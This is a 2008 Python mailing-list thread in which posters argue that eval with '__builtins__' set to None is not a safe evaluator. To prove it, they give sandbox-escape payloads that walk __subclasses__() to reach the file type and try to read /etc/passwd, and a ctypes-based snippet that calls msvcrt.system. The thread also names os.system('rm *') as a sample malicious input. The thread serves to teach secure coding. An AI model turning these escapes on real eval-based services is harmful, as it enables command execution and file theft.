Simple and safe evaluator

George Sakkis george.sakkis at gmail.com
Thu Jun 12 21:14:50 CEST 2008


On Jun 12, 1:51 pm, bvdp <b... at mellowood.ca> wrote:

> Matimus wrote:
> > On Jun 11, 9:16 pm, George Sakkis <george.sak... at gmail.com> wrote:
> >> On Jun 11, 8:15 pm, bvdp <b... at mellowood.ca> wrote:
>
> >>> Matimus wrote:
> >>>> The solution I posted should work and is safe. It may not seem very
> >>>> readable, but it is using Pythons internal parser to parse the passed
> >>>> in string into an abstract symbol tree (rather than code). Normally
> >>>> Python would just use the ast internally to create code. Instead I've
> >>>> written the code to do that. By avoiding anything but simple operators
> >>>> and literals it is guaranteed safe.
> >>> Just wondering ... how safe would:
> >>>          eval(s, {"__builtins__":None}, {} )
> >>> be? From my testing it seems that it parses out numbers properly (int
> >>> and float) and does simple math like +, -, **, etc. It doesn't do
> >>> functions like int(), sin(), etc ... but that is fine for my puposes.
> >>> Just playing a bit, it seems to give the same results as your code using
> >>> ast does. I may be missing something!
> >> Probably you do; within a couple of minutes I came up with this:
>
> >>>>> s = """
> >> ... (t for t in 42 .__class__.__base__.__subclasses__()
> >> ...  if t.__name__ == 'file').next()('/etc/passwd')
> >> ... """>>> eval(s, {"__builtins__":None}, {} )
>
> >> Traceback (most recent call last):
> >>   File "<stdin>", line 1, in <module>
> >>   File "<string>", line 3, in <module>
> >> IOError: file() constructor not accessible in restricted mode
>
> >> Not an exploit yet but I wouldn't be surprised if there is one. Unless
> >> you fully trust your users, an ast-based approach is your best bet.
>
> >> George
>
> > You can get access to any new-style class that has been loaded. This
> > exploit works on my machine (Windows XP).
>
> > [code]
> > # This assumes that ctypes was loaded, but keep in mind any classes
> > # that have been loaded are potentially accessible.
>
> > import ctypes
>
> > s = """
> > (
> >     t for t in 42 .__class__.__base__.__subclasses__()
> >         if t.__name__ == 'LibraryLoader'
> >     ).next()(
> >         (
> >             t for t in 42 .__class__.__base__.__subclasses__()
> >                 if t.__name__ == 'CDLL'
> >             ).next()
> >         ).msvcrt.system('dir') # replace 'dir' with something nasty
> > """
>
> > eval(s, {"__builtins__":None}, {})
> > [/code]
>
> > Matt
>
> Yes, this is probably a good point. But, I don't see this as an exploit
> in my program. Again, I could be wrong ... certainly not the first time
> that has happened :)
>
> In my case, the only way a user can use eval() is via my own parsing
> which restricts this to a limited usage. So, the code setting up the
> eval() exploit has to be entered via the "safe" eval to start with. So,
> IF the code you present can be installed from within my program's
> scripts ... then yes there can be a problem. But for the life of me I
> don't see how this is possible. In my program we're just looking at
> single lines in a script and doing commands based on the text.
> Setting/evaluating macros is one "command" and I just want a method to
> do something like "Set X 25 * 2" and passing the "25 * 2" string to
> python works. If the user creates a script with "Set X os.system('rm
> *')" and I used a clean eval() then we could have a meltdown ... but if
> we stick with the eval(s, {"__builtins__":None}, {}) I don't see how the
> malicious script could do the class modifications you suggest.
>
> I suppose that someone could modify my program code and then cause my
> eval() to fail (be unsafe). But, if we count on program modifications to
> be doorways to exploits then we might as well just pull the plug.

You probably missed the point in the posted examples. A malicious user
doesn't need to modify your program code to have access to far more
than you would hope, just devise an appropriate string s and pass it
to your "safe" eval.

Here's a simpler example to help you see the back doors that open. So
you might think that eval(s, {"__builtins__":None}, {}) doesn't
provide access to the `file` type. At first it looks so:

>>> eval('file', {"__builtins__":None}, {})
NameError: name 'file' is not defined
>>> eval('open', {"__builtins__":None}, {})
NameError: name 'open' is not defined

"Ok, I am safe from users messing with files since they can't even
access the file type" you reassure yourself. Then someone comes in and
passes to your "safe" eval this string:
>>> s = "(t for t in (42).__class__.__base__.__subclasses__() if t.__name__ == 'file').next()"
>>> eval(s, {"__builtins__":None}, {})
<type 'file'>

Oops.

Fortunately the file() constructor has apparently some extra logic
that prevents it from being used in restricted mode, but that doesn't
change the fact that file *is* available in restricted mode; you just
can't spell it "file".

25 builtin types are currently available in restricted mode -- without
any explicit import -- and this number has been increasing over the
years:

$ python2.3 -c 'print
eval("(42).__class__.__base__.__subclasses__().__len__()",
{"__builtins__":None}, {})'
13

$ python2.4 -c 'print
eval("(42).__class__.__base__.__subclasses__().__len__()",
{"__builtins__":None}, {})'
17

$ python2.5 -c 'print
eval("(42).__class__.__base__.__subclasses__().__len__()",
{"__builtins__":None}, {})'
25

$ python2.6a1 -c 'print
eval("(42).__class__.__base__.__subclasses__().__len__()",
{"__builtins__":None}, {})'
32

Regards,
George



More information about the Python-list mailing list